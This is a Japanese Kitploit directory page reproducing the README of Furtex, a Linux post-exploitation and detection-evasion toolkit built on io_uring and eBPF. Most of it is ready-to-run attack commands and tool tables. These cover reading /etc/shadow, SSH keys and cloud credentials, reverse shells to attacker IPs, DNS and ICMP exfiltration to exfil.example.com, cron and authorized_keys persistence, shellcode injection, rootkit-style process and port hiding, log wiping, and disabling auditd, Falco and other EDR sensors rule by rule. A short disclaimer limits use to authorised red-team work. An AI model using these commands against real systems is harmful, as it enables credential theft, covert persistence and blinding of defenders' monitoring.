Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Furtex — Linux向けのポストエクスプロイテーションおよび回避研究ツールキット。 | Kitploit
ツール/GitHubGitHub/matheuzsecurity/furtex
特権昇格エクスプロイトポストエクスプロイトマルウェア分析ペネトレーションテストコマンド&コントロールバイナリ解析レッドチーミングペイロード開発
GitHubmatheuzsecurity/furtex

Furtex

Linux向けのポストエクスプロイテーションおよび回避研究ツールキット。

リポジトリを見る
2613029日前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Furtex

Linux向けポストエクスプロイトおよび回避研究ツールキット。io_uringとeBPFをベースに構築。liburingやフレームワークは使わず、生のシステムコールのみを使用。

まもなくさらにツールを追加予定。PR歓迎。🇧🇷

Rootkit Researchersに参加

  • https://discord.gg/66N5ZQppU7

許可された研究およびレッドチームエンゲージメントに限ります。所有していないシステムで実行しないでください。

``` Furtex/ ├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools) ├── bpf/ BPF map and program tooling (15 tools) ├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners) ├── edrs/ EDR evasion and post-exploitation (75 tools) └── techniques/ Falco-specific bypass, all 25 default rules (13 tools)

root@kitploit:~
## 要件

**ツールチェーン**

| ツール | 必要な用途 |
|---|---|
| `gcc` | すべてのユーザースペースバイナリ |
| `clang` | `ebpf/*.bpf.c` BPF側プログラム |
| `make` | ビルドシステム |

**ヘッダとライブラリ**

| パッケージ | 必要な用途 |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`、`<linux/io_uring.h>` および関連するカーネルヘッダ |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` など、`ebpf/` プログラムで使用されるもの |
| `bpftool` | `ebpf/` 内で `make vmlinux` を使用して `vmlinux.h` を生成する |

Debian/Kali/Ubuntu の場合:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool

カーネルバージョン

最小有効になる機能
5.4io_uring ベース(IORING_FEAT_SINGLE_MMAP、BPF マップの反復)
5.6IORING_OP_OPENAT、IORING_OP_STATX、pidfd_getfd(pidfd_steal)
5.8CAP_BPF + CAP_PERFMON 分割(BPF の CAP_SYS_ADMIN を置き換え)
5.9BPF_LINK_DETACH(bpf_link_detach)
5.19IORING_OP_SOCKET(af_packet_send、dns_exfil、xdp_socket_send、bpf_kprobe_bypass)

ケイパビリティ

BTF はカーネルで有効化されている必要があります(CONFIG_DEBUG_INFO_BTF=y)。ebpf/ プログラム向けに make vmlinux を実行するためです。

古い libc-dev ヘッダーを持つディストリビューション(Ubuntu 22.04 など)では、#ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45 が必要になる場合があります。このリポジトリでは既に処理されています。

ビルド

edrs/ には独自のサブ Makefile があり、権限ごとに分割された約75のバイナリが含まれています:``` cd edrs && make priv # root / CAP_* required cd edrs && make unpriv # no privileges needed

root@kitploit:~
See [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/HEAD/PRIVILEGES.md) for the full breakdown.

## io_uring バイパスカバレッジ

io_uring SQE はカーネル workqueue を経由します。`io_uring_enter(2)` は `sys_call_table` を通らず、`sys_enter_*` トレースポイントを発火せず、`native_sys_call` のライブパッチにもヒットしません。これだけで、多くの種類の EDR フックを触らずに無効化します。

io_uring 単独でバイパスするもの:

| フックポイント | 注 |
|---|---|
| `sys_call_table` ポインタ置き換え | io_uring はシステムコールテーブルを通らない |
| `native_sys_call` / `compat_sys_call` へのライブパッチ | 同上 |
| `sys_enter_*` トレースポイント | workqueue パス、トレースポイントは発火しない |

io_uring 単独ではバイパスしないもの(アクティブなツールが必要):

| フックポイント | ツール | ツールの機能 |
|---|---|---|
| `vfs_read`、`security_file_open` などへの kprobe | `ftrace_enum` | kprobe フックの除去 |
| BPF LSM / KRSI | `bpf_link_detach` | BPF リンクのデタッチ |
| Linux 監査 | `audit_kill` | NETLINK_AUDIT による auditd の無効化 |
| LD_PRELOAD / PLT-GOT パッチ | `plt_unhook` | ユーザーランドフックの除去 |
| netfilter OUTPUT / conntrack | `af_packet_shell` | レイヤー 2 で AF_PACKET を使用、netfilter をスキップ |
| `inet_stream_connect` フック | `udp_shell` | UDP を使用、tcp connect パスを呼ばない |

## io_uring/

`iouring_utils.h` は liburing を使わずにリング設定を処理します。

| バイナリ | 機能 |
|---|---|
| `file_read` | io_uring 経由の OPENAT+READ+CLOSE チェーン、sys_enter_read イベントなし |
| `file_write` | OPENAT+WRITE+CLOSE チェーン |
| `file_append` | file_write と同様だが O_APPEND、オフセット -1 |
| `net_connect` | 1 つのリングで SOCKET+CONNECT+SEND+RECV |
| `net_reverse_shell` | io_uring CONNECT 経由のリバースシェル |
| `multifile_read` | 1 つの SQE バッチで最大 64 ファイルを読み取り |
| `memfd_exec` | ELF を stdin 経由で memfd にストリーミングし、/proc/self/fd 経由で execve |
| `proc_inject` | /proc/PID/mem 経由の JIT インジェクション; ptrace インジェクション(--ptrace フラグ) |
| `pipe_splice` | SPLICE カーネル間コピー、ユーザーランドフックはバイトを見ない |
| `inotify_bypass_watch` | io_uring READ は IN_ACCESS/IN_OPEN を発生させない |
| `dns_exfil` | io_uring SENDMSG 経由でデータを DNS クエリラベルとして 16 進エンコード |
| `af_packet_send` | AF_PACKET 経由の raw Ethernet(IORING_OP_SOCKET、inet パスをバイパス) |
| `xdp_socket_send` | AF_XDP + UMEM リング経由の raw フレーム、netfilter を完全にバイパス |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow

sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject          <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>

sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>

bpf/

ほとんどのツールはCAP_BPFを必要とします。env_exfilは非特権で動作します。icmp_triggerはCAP_BPFの代わりにCAP_NET_RAWを必要とします。

sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444

root@kitploit:~
## ebpf/

clang + libbpf + vmlinux.h が必要です。`ebpf/` 内で `make vmlinux` を実行して、実行中のカーネルの BTF から生成します。

| ファイル | 機能 |
|---|---|
| `exec.bpf.c` | sys_enter_execve のトレースポイント |
| `fentry_open.bpf.c` | sys_enter_openat のトレースポイント |
| `creds.bpf.c` | 資格情報パス上の openat+read を追跡 |
| `keylog.bpf.c` | 入力イベントトレースポイント、生のキーコードキャプチャ |
| `net.bpf.c` | sys_enter_connect のログ記録 |
| `net_hide.bpf.c` | /proc/net/tcp および /proc/net/udp からポートを隠蔽 |
| `proc_hide.bpf.c` | getdents64 の出力から PID を隠蔽 |
| `tty_sniff.bpf.c` | stdin/stdout/stderr の書き込みと読み取りをキャプチャ |
| `skf_c2_runner.c` | クラシック BPF ソケットフィルターによる ICMP C2 |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | マジック UDP パケットによる XDP トリガー |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01

sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>

sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337

edrs/

sudo ./edrs/bpf_prog_recon --all sudo ./edrs/ftrace_enum list sudo ./edrs/module_recon list sudo ./edrs/perf_bpf_kill scan sudo ./edrs/sysctl_blind show sudo ./edrs/tetragon_blind scan

sudo ./edrs/audit_kill disable sudo ./edrs/dmesg_wipe wipe sudo ./edrs/bpf_detach_all sudo ./edrs/ftrace_enum clear-kprobes sudo ./edrs/netfilter_flush sudo ./edrs/lkm_unload unload

./edrs/livepatch_bypass --read /etc/shadow ./edrs/uring_stealth cat /etc/shadow ./edrs/mmap_read /etc/shadow ./edrs/splice_read /etc/shadow ./edrs/plt_unhook read /etc/shadow ./edrs/openat2_bypass copy /etc/shadow /tmp/out

cat payload | ./edrs/memfd_userexec [args...] cat payload | ./edrs/fanotify_bypass --memfd-exec ./edrs/anon_shellcode <shellcode_hex> ./edrs/fexecve_drop - < payload

sudo ./edrs/proc_mem_inject --inject <shellcode_hex> ./edrs/proc_vm_inject <shellcode_hex> ./edrs/ptrace_inject_so inject /tmp/payload.so

./edrs/userland_persist --lhost 10.0.0.1 --lport 4444 ./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..." sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444

./edrs/shared_mem_c2 --agent & ./edrs/shared_mem_c2 --ctrl --cmd "id" ./edrs/abstract_sock_c2 server & ./edrs/abstract_sock_c2 client ./edrs/udp_shell 192.168.1.1 4444 ./edrs/tls_shell 192.168.1.1 443

./edrs/dns_exfil_raw str exfil.example.com "data" ./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999 cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 - SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack

./edrs/self_delete delete ./edrs/time_stomp clone /etc/passwd /tmp/target sudo ./edrs/log_wipe hist /home/kali

./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject ./edrs/ringbuf_flood --flood --threads 8 --sec 5

./edrs/ns_exec user bash ./edrs/ns_exec full-hide bash ./edrs/clone_netns exec /bin/sh

./edrs/pidfd_steal scan ./edrs/pidfd_steal steal ./edrs/fd_steal_read <path_filter> ./edrs/fd_steal_read <path_filter>

root@kitploit:~
## techniques/ (Falcoバイパス)

Falcoのデフォルトルールセット(`modern_ebpf`ドライバ、25ルール)を対象とします。最初に`edrs/edr_recon`を実行してください。

- バイパス軸A: イベントがFalcoに到達するのを防ぐ(io_uringが`sys_enter_*`をスキップ、ringbufドレインがイベントを静かにドロップ)。
- バイパス軸B: イベントはFalcoに到達するがルール条件が一致しない(proc.name偽装、パスピボット、代替フラグ)。

| ツール | 軸 | Falcoルール |
|---|:---:|---|
| `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 |
| `ringbuf_overflow` | A | all |
| `rule_evade` | B | 3 5 6 17 |
| `kmod_unload` | A | all |
| `proc_ghost` | A/B | 22 23 25 |
| `exe_from_memfd_bypass` | B | 25 |
| `event_storm` | A | all |
| `proc_masquerade` | B | 3 4 5 8 17 |
| `ns_pivot` | B | 6 14 |
| `cgroup_escape` | A | 18 |
| `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 |
| `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 |
| `per_rule_bypass` | A/B | all 25 |```bash
./techniques/uring_ops cat   /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999

sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain  <map_id>
./techniques/ringbuf_overflow  flood  16 10

./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all

sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload

./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc  <hex>

./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc   <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen  <so>

./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"

./techniques/proc_masquerade setname    sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>

./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell

./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444

./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"

./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>

./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log

コントリビューション

プルリクエストを送信してください。単一目的のツール、生のシステムコール、新しい依存関係は不要です。

法的情報

このプロジェクトは、厳密にセキュリティ研究、許可されたペネトレーションテスト、CTF競技、および防御ツール開発を目的としています。ここで実証されているすべての手法は、公開されているセキュリティ研究およびカーネルドキュメントに記載されています。

このツールキットを、自分が所有していない、またはテストするための明示的な書面による許可がないシステムに対して使用しないでください。 無許可の使用は、米国コンピュータ詐欺および悪用取締法(CFAA)、EUの情報システムへの攻撃に関する指令、およびお住まいの地域の同等の法律に違反する可能性があります。

著者は誤用に対する一切の責任を負いません。本ソフトウェアを使用することにより、適用される法律の遵守に単独で責任を負うことに同意したものとみなされます。

ツールをダウンロード
ケイパビリティ必要とするツール
CAP_BPF(または5.8以前の CAP_SYS_ADMIN)すべての bpf/ ツール、ebpf/ ローダー
CAP_PERFMONebpf/ tracepoint および kprobe プログラム
CAP_NET_RAWicmp_tunnel、af_packet_shell、skf_c2_runner、icmp_trigger
CAP_NET_ADMINxdp_socket_send、netfilter_flush
CAP_AUDIT_CONTROLaudit_kill
コマンドビルド対象
make allすべて
make uringio_uring/ のみ
make bpfbpf/ ユーザースペースツール
make ebpfBPF側プログラム(clang + libbpf が必要)
make edrsすべての edrs/ バイナリ
make techniquesFalco バイパスツール
make cleanすべてのバイナリを削除
バイナリ説明
map_reconロードされているすべてのBPFマップを一覧表示
map_dumperIDでマップの内容をダンプ
map_writeIDでマップエントリを更新
map_poisonペイロード周辺のFalcoのinteresting_sysエントリをゼロクリア
prog_reconBPFプログラムを一覧表示:タイプ、名前、マップ数
pid_allowlistPIDをEDR許可リストマップに挿入
edr_finロードされたBPFマップ/プログラムを既知のEDRヒューリスティックと照合してスコアリング
lsm_checkアクティブなBPF LSMフックを検出し、マップ書き込みがブロックされているかテスト
bpf_persistbpffs上でマップとプログラムをピン/取得/アンピン
map_snapshotマップ内容をバイナリファイルに保存・復元
env_exfil/proc/*/environから秘密情報を読み取る
bpf_link_detachBPFリンクを列挙してデタッチ(LSMフックを削除)
link_updateBPFリンクをno-opプログラムにリダイレクト(フックは見えるままだが、何も発火しない)
map_freezeBPF_MAP_FREEZEでBPFマップを読み取り専用にフリーズ(書き込みは-EPERMを返す)
icmp_triggerICMPマジックパケットバックドア;ソケットペアリレーを介してリバースシェルを起動;kworker/u4:2として偽装
sudo ./bpf/map_recon
sudo ./bpf/map_dumper 42 --ascii
sudo ./bpf/map_write <map_id> <key_hex> <val_hex>
sudo ./bpf/prog_recon --maps --lsm-only
sudo ./bpf/edr_fin
sudo ./bpf/lsm_check <map_id>
sudo ./bpf/pid_allowlist <map_id> [pid]
sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map
sudo ./bpf/bpf_persist list /sys/fs/bpf
sudo ./bpf/map_snapshot save <prog_id> snap.bin
sudo ./bpf/map_snapshot restore snap.bin
./bpf/env_exfil --filter AWS
sudo ./bpf/bpf_link_detach list --lsm-only
sudo ./bpf/bpf_link_detach detach-lsm --dry-run
sudo ./bpf/link_update <link_id>
sudo ./bpf/map_freeze <map_id>
sudo ./bpf/map_freeze --prog <name_substr>
sudo ./bpf/icmp_trigger --daemon
sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port>
binaryroottechnique
edr_reconyes12ベンダーEDR検出器:プロセス、アーティファクト、モジュール、BPF、kprobes
bpf_prog_reconyesロードされたBPFプログラム、マップ、kprobesの列挙
bpf_map_wipeyesBPFマップエントリの消去
bpf_detach_allyes全てのBPFリンクの切り離し
tetragon_blindyesTetragon/Falcoプロセスのスキャン、フリーズ、解凍、強制終了、またはブラインド
ftrace_enumyeskprobe/ftraceフックの列挙と解除
lkm_unloadyesカーネルモジュールのアンロード
lkm_inline_detectyesインラインカーネルフックの検出
perf_bpf_killyesFalco perfイベントBPFプログラムの列挙と強制終了
module_reconyesカーネルモジュールの列挙
cgroup_freezeyescgroup v2を介したプロセスのフリーズ/解凍
oom_cageyes自身またはターゲットのoom_score_adjを設定
sysctl_blindyesセキュリティ関連のsysctlの読み取り/書き込み
audit_killyesNETLINK_AUDITを介したLinux監査の無効化/制限
inotify_exhaustyes全てのinotifyウォッチを消費
netfilter_flushyesnetfilterチェーンのフラッシュ
dmesg_wipeyesカーネルリングバッファのクリア
ld_so_preloadyes/etc/ld.so.preloadの操作
proc_hideyesバインドマウントを介した/proc/PIDの隠蔽
mount_overyes任意のパスへのバインドマウント
log_wipeyesログファイルとシェル履歴の切り詰め
elf_infectyesPT_NOTEからPT_LOADへのパラサイトインジェクション
proc_mem_injectyes/proc/PID/memへのpwrite、ptraceアタッチなし
af_packet_shellyesnetfilter OUTPUTをバイパスするRaw Ethernet C2
icmp_tunnelyesICMPエコーリクエストペイロードを介したデータ流出
event_floodyesペイロード周辺にイベントフラッドを発生させモニターを飽和させる
livepatch_bypassyesio_uringを使用してシステムコールディスパッチャのlivepatchフックをすり抜ける
livepatch_stack_blindyeslivepatch + BPF kprobe + netfilterフックスタックの無効化;comm偽装によるモジュールアンロード
lsm_authlink_blindyesLSM認証リンクフローの無効化、認証エージェントのフリーズまたは強制終了、inodeスワップを介した書き込み
lsm_callback_bypassyespidfd_getfd、process_vm_writev、perf+BPFアタッチ、新しいネットワーク名前空間を介したLSMコールバックのバイパス
bpf_fim_blindyesBPF FIMセンサーのフリーズ、リングバッファマップエントリの消去、リングバッファのフラッド
syscall_dispatch_bypassyesシステムコールディスパッチとlivepatch do_syscall_64上のkprobesをバイパスするio_uringファイル/ネット操作
bpf_kprobe_bypassyes_x64_sys* kprobeターゲットをバイパスするio_uringファイル/ネット/exec操作
ptrace_inject_soyesptrace + dlopenを介して.soを実行中のプロセスにロード
uring_stealthnoio_uringを介したファイル/ネット操作、sys_enter_*イベントなし
openat2_bypassno代替システムコール(openat2、copy_file_range)
ptrace_selfguardnoガーディアンプロセスを介した外部ptraceのブロック
plt_unhooknodlmopenを介したPLT-GOTフックの検出とバイパス
fexecve_dropnoELFをmemfdに書き込み、/proc/self/fdを介してexecve
memfd_loadernomemfdを介して.soをロード、コンストラクタ呼び出し
memfd_userexecnostdinからのELFをmemfdに書き込み、/proc/self/fdを介してexecve
hollow_procnopsに偽装名を表示するプロセス空化
argv_spoofnoprctl(PR_SET_NAME)とargv[0]上書きによるcommの名前変更
clone_netnsno非特権ネットワーク名前空間での実行
ns_execnoユーザー/PID/マウント名前空間のアンシェア
splice_c2nosplice(2)を使用したデータ転送によるTCP C2;send/recvフックは発火しない
abstract_sock_c2no抽象Unixソケットを介したC2
udp_shellnoUDPリバースシェル、inet_stream_connectをバイパス
tls_shellno偽のTLS ClientHelloの背後にあるリバースシェル
dns_exfil_rawnoデータを16進エンコードしてDNSクエリラベルとして送信
pidfd_stealnopidfd_getfdを介して他のプロセスから開いているfdを奪取
vma_hidenoRWXからPROT_NONEへのサイクル、MADV_DONTDUMP、VMAリネーム
coredump_blocknoフィルター/dumpable/rlimitを介したコアダンプのブロック
seccomp_notifynoSECCOMP_USER_NOTIFを介したシステムコールのインターセプト
ipc_covertnoPOSIXメッセージキューを介したC2
shared_mem_c2noPOSIX共有メモリを介したC2、ネットワークトラフィックなし
pipe_exfilnosplice(2)を使用したデータ流出、LD_PRELOADフックはブラインド
proc_fd_scanno機密パスを探すための/proc/PID/fdシンボリックリンクのスキャン
proc_vm_injectnoprocess_vm_writev、/proc/PID/fdを開かない
self_deleteno実行中に自身のバイナリをディスクから削除
time_stompnoatime+mtimeのクローン/ゼロ/設定
userland_persistnobashrc/crontab/autostart/authorized_keys
env_scrapenoシークレットとSSHソケットを求めて/proc/*/environを読み取る
anon_shellcodenoMAP_ANONYMOUS内のシェルコード、ファイルなし、execveなし
ld_preload_injectno.soをドロップし、LD_PRELOADを介してインジェクション
ssh_agent_hijacknoキャプチャしたソケットに対してエージェントプロトコルを話す
fanotify_bypassnofanotifyマークを回避するためのmemfd/anon-mmap/devshm
ringbuf_floodnoBPFリングバッファを飽和させてイベントをドロップ
log_evasionnoio_uringファイル操作とrawシステムコールTCPシェル、libcラッパーなし
syscalltable_bypassnoio_uringを使用してsys_call_tableポインターフックをすり抜ける
uring_recon_unprivnoio_uring読み取りを介した資格情報、キー、接続
fd_steal_readnopidfd_getfdを介してfdを奪取、自身のopen()なしで読み取り
mmap_readnommapを介したファイル読み取り、read()システムコールなし
scm_rights_exfilnoSCM_RIGHTSを介してfdを渡し、自身のopen()なしで読み取り
splice_readnosplice(2)を介した読み取り、ユーザースペースバッファなし
sudo ./edrs/edr_recon
sudo ./edrs/edr_recon procs arts mods
sudo ./edrs/edr_recon progs maps
ルールバイパス手法ツール
1 監視対象ファイルのディレクトリトラバーサル読み取りio_uring OPENATuring_ops cat, per_rule_bypass dir-traversal
3 信頼できない機密ファイルの読み取りio_uring or prctluring_ops creds, bypass_file_rules read-masked
4 信頼できないシェルの実行python3/perl instead of shrule_evade unusual-shell
6 コンテナ内での端末シェルsetsid, proc.tty=0bypass_proc_rules shell-notty
7 K8S APIサーバーへの接続io_uring CONNECTuring_ops shell, per_rule_bypass k8s-connect
8 Netcat RCEC binary, proc.name != nc/ncatbypass_proc_rules reverse-shell
9 秘密鍵の検索open+read in C, no grep/findbypass_file_rules grep-bypass
10 ログアクティビティの消去ftruncate without O_TRUNCbypass_file_rules log-clear
11 大量データの削除write loop, no shred/mkfsbypass_file_rules wipe
15 STDOUT/STDINのネットワークへのリダイレクトfcntl F_DUPFD instead of dup2bypass_proc_rules reverse-shell
18 release_agentエスケープの検出io_uring OPENAT+WRITE to release_agentcgroup_escape proof/shell, uring_ops write
19 プロセスへのPTRACEアタッチ/proc/PID/mem or process_vm_writevbypass_proc_rules proc-inject
20 PTRACEによるアンチデバッグ試行TracerPid check via /proc/self/statusbypass_proc_rules anti-debug
22 /dev/shmからの実行exec from /run/user/uid/ insteadbypass_proc_rules run-safe
25 memfd_createによるファイルレス実行shellcode via mmap, no execveexe_from_memfd_bypass sc, proc_ghost ghost-sc
全ルールdrain ringbuf or remove scap.koringbuf_overflow, kmod_unload